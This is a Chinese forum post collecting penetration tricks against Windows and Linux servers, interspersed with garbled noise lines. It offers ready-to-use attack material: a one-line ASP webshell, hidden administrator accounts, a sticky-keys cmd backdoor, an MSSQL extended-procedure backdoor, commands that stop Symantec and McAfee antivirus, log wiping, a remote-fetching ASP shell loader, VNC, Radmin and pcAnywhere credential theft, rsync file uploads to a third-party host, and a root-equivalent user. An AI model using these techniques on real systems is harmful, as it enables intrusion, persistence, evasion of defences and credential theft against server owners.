渗透技巧总结

admin

旁站路径问题
! s/ Z* P) x: p" ], W) u' R( a5 q1、读网站配置。
" X. y' ?7 V" c8 R: i) c2、用以下VBS
6 k2 W6 F. q; ~( bOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
0 q* K: ?# e7 R        
2 W* R% y. ?* V
. X# S+ y0 o0 I, W0 }2 VMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
* N) P, F2 X: @/ O. l
% g  ?! q# f1 O% [Usage:Cscript vWeb.vbs",4096,"Lilo"
, q& k6 I' p2 D, I        WScript.Quit
End If
Set ObjService=GetObject
) T) x8 y. a  G' B
("IIS://LocalHost/W3SVC")
- I# A  C7 `) v7 j$ @  i2 tFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)
; \. ~3 U0 X! }% R6 J* r' F
, ^) o* B# t; D3 W7 Q7 SThen
3 t" o3 Y2 h  W" e& v' t' @5 {                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

( L' H. l% ]/ l5 n' d1 x       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

' _# z( }9 y2 W; H( Z4 L( Z<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
* E8 x* c. Y# P7 Z4 \  D     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

5 i# M+ B6 n0 \9 P- uWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      

! B. o6 [  a( O         WScript.Echo "ath            : " & VDirObj.Path
. a! w! J9 z. o" G        End If
Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
# z. I7 g- R6 X—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
, y) ^$ K& A) turl/wp-content/plugins/akismet/hello.php
2 T' g0 P* J  i: |% [( U——————————————————————
4 E) s- Y5 i; ^phpMyAdmin暴路径办法:
9 e$ k+ W8 P  m( i4 f# xphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
! W- x) I& n; _! A& {1 Q! x# z————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
+ I( H( y6 q, w# h————————————————————
CMD下操作VPN相关
# Q0 W, _  c4 v" S( Enetsh ras set user administrator permit #允许administrator拨入该VPN
: e- j1 w7 S; d9 q. x5 Xnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
% b7 H! O1 }4 t0 V! }2 G% V1 d1 d; dnetsh ras ip show config #查看VPN分配IP的方式
9 ?9 A! y9 d1 y9 a7 ~3 A" pnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
% F+ Z) s2 w( @3 Xnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
( e7 g/ k  Z+ T, j0 R————————————————————
命令行下添加SQL用户的方法
* S( L, S4 c8 ^需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
! Y5 Z' X. D4 |1 C( Cexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
$ G" T0 L: t5 F" G
另类的加用户方法
' a$ h% ^) c* E1 G' x在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
6 x: p% z( X5 ^& N+ Vz.changePassword("123456","")
z.setting("AccountType")=3;

" o0 q8 U* f1 `9 jvbs:
Set   o=CreateObject( "Shell.Users" )
# ^, d3 f( I) O8 t' ~. NSet z=o.create("test")
z.changePassword "123456",""
( I0 c" P3 T, |1 Bz.setting("AccountType")=3
" v/ h) N  |, S/ E——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
7 _& K) |6 [2 ~# b- Z" q3 C* sa、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
1 F8 O- p6 R# K( M' ^. wXP 运行mstsc /admin
2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
  I$ A" @, F8 W- g* h# B5 I  `: ?处理变态诺顿企业版：
/ s; x0 X: G) x% N3 ~net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
$ u2 D- H( w/ R$ |6 ?net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

/ o2 d- L0 D% \4 A卖咖啡：net stop "McAfee McShield"
————————————————————

6 x9 |* b" b- l# q* F5次SHIFT：
% L& E9 \; A# K  Ecopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
  }( G6 [1 L$ j) Ocopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
1 `) q( r4 r/ B# Fcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
5 M$ j: e* y2 q! g7 r3 Z——————————————————————
0 U. W' \' h, i- D隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
$ d0 T/ x6 j* R! n2 {/ [% b3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
1 I8 [* `$ S: E# Z0 D, q& L日志处理
/ s7 l) L1 i1 r4 hC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
% P- A8 ~1 ^2 ]2 M& n  u$ pex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
% o9 {# i% e1 N- v" \不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
( x* |  g- o# T& {+ l: T用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
6 X6 H4 j& {  A4 |
7 ?; L4 g" k: y; T8 [' ], ZMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
( F* j( D, M3 [4 }/ d  s' O0 \HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
% e2 B8 @5 N$ E  Q! a% M, @MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
; b  v* V6 L8 i: k) k9 z- C
Server\90\Tools\Shell\mru.dat
—————————————————————————
0 A8 d( R. R  X( q+ E3 Q5 f防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
0 Y* V8 y" _) fSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
- q' Q" X& ~4 n% SDim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
8 m) n$ o& g+ d: t3 {8 ?$ KWith Retrieval
1 [4 N  U' M0 B) r4 `.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
4 G- d4 t8 ~+ X. S5 x# o5 e) R4 SGetRemoteData = .ResponseBody
6 U5 d1 _: Q( F+ ~End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
4 P6 X% U9 z3 ?.Type = 1
' {' I& q* y" O  Z6 X$ h.Open
/ u2 A* X/ `4 ]9 S2 u. q.Write GetRemoteData
* ~! ?  ]1 I! s- R1 g.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
. ^2 c1 V! G7 {# e. e.Close()
- c6 b: I% D( Z  x! _: p) GEnd With
Set Ads=nothing
, [. e3 H& c5 [% BEnd Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
* ~2 W, P3 W) k, f- t' U+ N%>

VNC提权方法:
1 c1 K1 X; v3 P, e% y利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
. p; H4 n5 r( N/ J- ]6 l2 V! HRadmin 默认端口是4899，
3 r8 Y# _7 O; l1 Y# }! `: k$ BHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
2 T0 j- l) M$ @然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
. U, ?2 u, i9 ?! R) {$ G# I5 P1 M9 {搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
) q  _. @9 Z; d. x4 a  d/ AWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
/ J& j4 l, R) k. k6 p8 u( @来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
' T# v! Y' q+ `9 w没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
* n6 {* ?5 M$ W3 X* i4 R
1433 SA点构建注入点。
( D) j7 i: z. y7 _; d3 [/ a<%
strSQLServerName = "服务器ip"
3 ~) [* D% o2 F( d8 z* ostrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
' Z) ]( A+ D! o; d$ X- N, R5 rSet conn = Server.createObject("ADODB.Connection")
  k& w9 h- t2 W0 ?& w3 A! ^strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

# r4 B& M$ `* O* @* G" F; E. {& K";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
- `/ d! W# z3 y7 U: E8 ~
, P$ y' c, A7 e6 |$ \  L: R. C4 fstrSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
0 K, _$ [8 u9 R' b7 k* @/ sstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
! Y- I# n2 r0 r; Y7 }+ T& ]%>
+ _& h1 Y: |7 \& ?- j/ L0 A) K复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
3 e8 y: [$ a5 @/ Z# H' y; m看看密码登录策略我们可以看到使用了file ldap模式
+ l- M  w# x4 ]- V
' j/ C& P5 g) l" C2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
! a+ Q1 o& u7 V8 G* g找到ou,dc,dc设置

4 d7 P' V4 @6 ~$ C- o, v/ N" y3.查找管理员信息
/ o  e& n' Y# f% D: N匿名方式
! X7 V. H6 v2 N! a6 Z' O( v4 Bldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

" A8 p( ]; ~" R0 {/ B6 Y
2 H$ C. L' `! n% e: @4.查找10条用户记录
* k& Q! L8 u9 X& f( }ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

' v" t! q! E  _+ R/ F实战:
. A  {! M6 ]3 G( r/ d1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
, i* P' W& u7 z/ l& |, R
% z$ f8 p) L3 ^7 F* d# {1 i2.less /etc/ldap.conf
* m/ X0 [5 y- L- A1 A/ Bbase ou=People,dc=unix-center,dc=net
, b8 |. F$ G+ {  F4 `9 [, Q) `找到ou,dc,dc设置
) P0 T  C' G) e: G7 @0 X; f) M5 u+ a
5 S6 c/ C% N: j; m$ \3.查找管理员信息
匿名方式
% D8 ~0 B/ V& s( E" `8 kldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
! s- I8 J; e+ T+ d0 I
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
. N- i4 E2 l; o有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
# z; r2 W6 _% ^3 [; Q0 o1 [  P
2 @3 U9 P8 ]5 u; @
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
0 g! u/ z( c* m7 adc: ruc
2 S3 a- |. a& yobjectClass: domain
3 Z7 `  ?. F8 j3 B+ n( E
! i; C7 j4 c" n' B/ z  u* c, I8 t% {3 n3 zdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
0 ^( W  C. e4 s% t" ]objectClass: organizationalPerson
objectClass: person
objectClass: top
: e8 h+ s, R0 w( T& m9 w$ A& Ssn: manager
+ n3 s4 m) d' E  Wcn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
$ a, F6 A; r3 f$ u5 }, E6 eobjectClass: organizationalPerson
objectClass: person
objectClass: top
% m8 y% [& Y6 k4 C2 hsn: superadmin
cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
$ l  F% P5 K- a3 X5 l: U& g5 P3 ouid: admin
objectClass: inetOrgPerson
, a2 j+ S( ^, L6 b  y( h! [objectClass: organizationalPerson
objectClass: person
1 m. t" h8 c* M( M3 x1 Z9 o+ Y7 ~objectClass: top
sn: admin
# l: o/ \3 C& h! lcn: admin

  N% S- a0 O6 H" l& T% _dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
, s5 T$ |) l7 x9 ^% U% m, x; a! C. ~uid: dcp_anonymous
objectClass: top
. q# A/ d) H' i) UobjectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
  m8 h# Q* g2 A) b1 [+ L3 S1 lcn: dcp_anonymous
/ s( E6 k3 ]9 \6 s
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
version: 1
0 o3 z* _: S# p7 u1 {4 Adn: dc=ruc,dc=edu,dc=cn
; y+ q& Z- v/ P$ p- ?dc: ruc
: u9 u8 G$ o6 S+ }& w& OobjectClass: domain

( ^; X2 u' A; j  G4 Z- W3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
% G$ [4 [3 D# k2 ldn:
% U& I( k' o1 o' q! EobjectClass: top
9 v( |) r& h) s7 D* J6 UnamingContexts: dc=ruc,dc=edu,dc=cn
3 `: s! Q/ M+ h. {" q4 x2 F, XsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
' t& t% k0 w3 S# b9 |supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
" @+ G" D4 K7 R* k( W, i" J  osupportedExtension: 2.16.840.1.113730.3.5.3
! o) Y) ]/ L1 _: J, w: C9 dsupportedExtension: 2.16.840.1.113730.3.5.5
  d) y0 M3 ^* x) q6 XsupportedExtension: 2.16.840.1.113730.3.5.6
" _$ h. d0 h3 U4 BsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
) p! x: F+ P5 H2 v6 W5 m( g: d4 YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
) `% _# O6 D; Z5 R4 {. HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
+ ?8 K6 I1 T( R: T' `6 I6 N4 h: XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
- z. n9 p4 ?8 H$ E8 TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
: E% d/ f) O/ b: i. `6 |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
/ h& b: i) g+ w4 i( |3 DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
1 I) v$ B+ Z4 |: {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
# B2 L; ~( G! a4 b" osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
0 c/ H7 d% I; G# [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
9 [7 `2 D, F# X( NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
% N/ R4 d' M9 k4 T4 _3 ~! }6 |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
+ H4 h: B% g' {" J6 qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
* }$ s9 n: k: \/ U( MsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
' O" g; o, ^( g5 ksupportedControl: 2.16.840.1.113730.3.4.5
% z3 r( z6 x6 fsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
- N/ m1 ~$ t$ e# X8 q! o, QsupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
  h3 U' m2 o5 a/ K% H4 JsupportedControl: 2.16.840.1.113730.3.4.19
/ N0 [2 @: m4 j+ a% bsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
$ e: [3 ^* K" G" l0 t# PsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
1 z' R$ l- F8 Z7 B( L' |supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
3 Q; K  ]$ w, j9 j$ G7 ^supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
$ v2 T/ B3 p* t0 w& vsupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
$ d5 `% D5 N8 Q4 H8 I5 JsupportedControl: 2.16.840.1.113730.3.4.18
8 H& L# w6 a1 }4 j3 X' lsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
! i$ Q4 G* B" p: |7 rsupportedSASLMechanisms: DIGEST-MD5
2 _, f% s1 e' t" f# @0 asupportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
0 e( `; W0 P: I7 l0 wdataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
* S1 Q3 d/ g  Z& D: ~+ isupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
$ K" _' A) I" N( v% B6 [$ TsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
1 \; A) C0 y$ |5 i# U: l# @5 qsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
" p4 H/ _) l  K5 g0 [supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
" D6 c' ?. ~) `# esupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
4 `# j4 {" O; R4 n; SsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
+ i% `( S- _- u' o6 d2 A' YsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
( [' t2 D0 \7 ^) IsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
7 J' {+ [, h  x3 J0 lsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
# f8 H4 O6 h, i" xsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
1 f3 M& u# x; d  f* F; U+ [1 w, g1 FsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
  e* B# Y9 e/ J) z: d3 XsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
: R9 F, Z- g, M! WsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
: o5 d  B8 h. G5 m  Q6 u8 x& Y) I( E' B2 ^supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
( |* Y! A4 ~# ?9 u, S8 {supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
4 V% x+ N1 L0 B7 f( wsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
3 ^" ]' X" w# L7 L' [2 f8 PsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
# G) L6 f2 n; V$ Z- o' psupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
7 b* W/ s0 O4 F  J& asupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
# k0 Q% e! A( {$ g" R( S' ZsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
, Y0 J# g& }9 W4 asupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
+ R# `4 u- M6 V* EsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
* l) y; B0 U8 O* L7 K" fsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
! t" C% ?' N2 E4 `, V$ gsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
+ u) _* |* s  T" lsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
8 \) O( V) ]" G- y3 l6 XsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
1 X5 V3 F3 V& e+ e$ {$ isupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
( V* _9 N8 M5 w4 {7 C/ i# @supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
, l- e# \* K9 F) E' |; MsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
- L' M3 |: Q- h9 ]- @————————————
4 w5 }- J, F; m% l& \- N0 b. Z2. NFS渗透技巧
showmount -e ip
列举IP
# l* I! v! X: I——————
, B+ Q' A% O! F* H1 s! \8 Q/ W3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
6 u+ ~: ?5 k1 t1 l, q1 mimg_finance
  B+ r8 g1 I% k( ?4 ]$ Oauto
3 m: m; _3 `/ p3 l5 W$ l7 [img_auto
html_cms
img_cms
ent_cms
ent_img
7 c  T$ R9 k. O; W& L$ v  oceshi
res_img
4 S* Y( X: I! e# [4 q- _res_img_c2
* t  u" v9 ?# V8 `chip
6 I4 y5 s# T# `3 O2 tchip_c2
ent_icms
1 l) `" T9 R8 n! Y6 W2 U" F0 k. _games
gamesimg
media
mediaimg
6 y: ]- V$ E+ f1 m1 ?fashion
& v6 J! l& S# p/ x! `* Wres-fashion
res-fo
taobao-home
0 R& B+ z: U& O- [% ?3 Kres-taobao-home
house
  I# `0 l& c4 m3 u: a7 h" i, T5 q3 {res-house
6 f: I2 i( E/ u! N' Q6 Yres-home
* r& i4 ~& w  a5 Ares-edu
+ z3 }" s3 R' ^. M& c; ]3 [& ares-ent
% R  S, |- t: a. Pres-labs
res-news
res-phtv
res-media
; s' @' S: L8 m0 p  k) F! Hhome
edu
news
* D8 d$ q1 u. y8 f7 p3 Rres-book
4 O( \/ G- A* a8 ]
看相应的下级目录(注意一定要在目录后面添加上/)

& G9 a, F$ ^" n+ _, ]
2 T+ D% X# V/ S4 E6 p/ i6 }rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

* Y9 ?/ S, L+ G2.下载rsync服务器上的配置文件
' S" U! q7 e" [7 Trsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

0 [2 l4 S0 d. f3.向上更新rsync文件(成功上传,不会覆盖)
/ Y* s- @9 m* q, D- {7 Vrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
7 a9 K7 m) M3 R, J) ]. B' {
四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
4 V. ]% ~* E& k8 e) }0 y7 zGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
* c' m6 e0 B0 Y4 L+ l
6 B, f" a- y. I; o六.joomla渗透小技巧
( T" V* Q7 X& {, H8 C' E确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47

重新设置密码
index.php?option=com_user&view=reset&layout=confirm
3 b4 R. w1 E9 M( H# S
七: Linux添加UID为0的root用户
1 t! ]# y, S. G4 ?useradd -o -u 0 nothack
% J$ m* S  e; P6 F6 E! w7 ~
, L3 U( l& V. O8 z. ?; U) y8 f八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
, d! ^2 G( O+ w0 [3 j* [argp@julius ~]$ id
) X0 [5 K3 }: Z" e7 L* uid=1001(argp) gid=1001(argp) groups=1001(argp)
, [2 g0 w9 |$ ^; V4 c4 ^/ g1 o* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
$ ~) O6 W: A* l6 N- ]* [argp@julius ~]$ ./nfs_mount_ex
*
6 r2 y& g# E, E/ a' |$ B) Ucalling nmount()
, c; Z( {( N3 t8 e, E7 y
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
/ D+ k, ^, g( r; H——————————————
